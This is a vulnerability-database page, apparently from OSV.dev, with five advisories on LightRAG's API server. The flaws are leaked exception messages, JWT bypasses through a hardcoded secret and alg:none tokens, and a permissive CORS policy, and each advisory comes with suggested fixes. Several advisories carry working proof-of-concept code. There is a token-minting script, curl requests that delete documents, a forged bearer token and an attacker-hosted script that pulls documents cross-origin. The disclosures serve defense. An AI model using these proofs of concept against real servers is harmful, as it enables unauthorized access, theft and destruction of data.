            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Aug 03, 2025

Activity

Reach

Details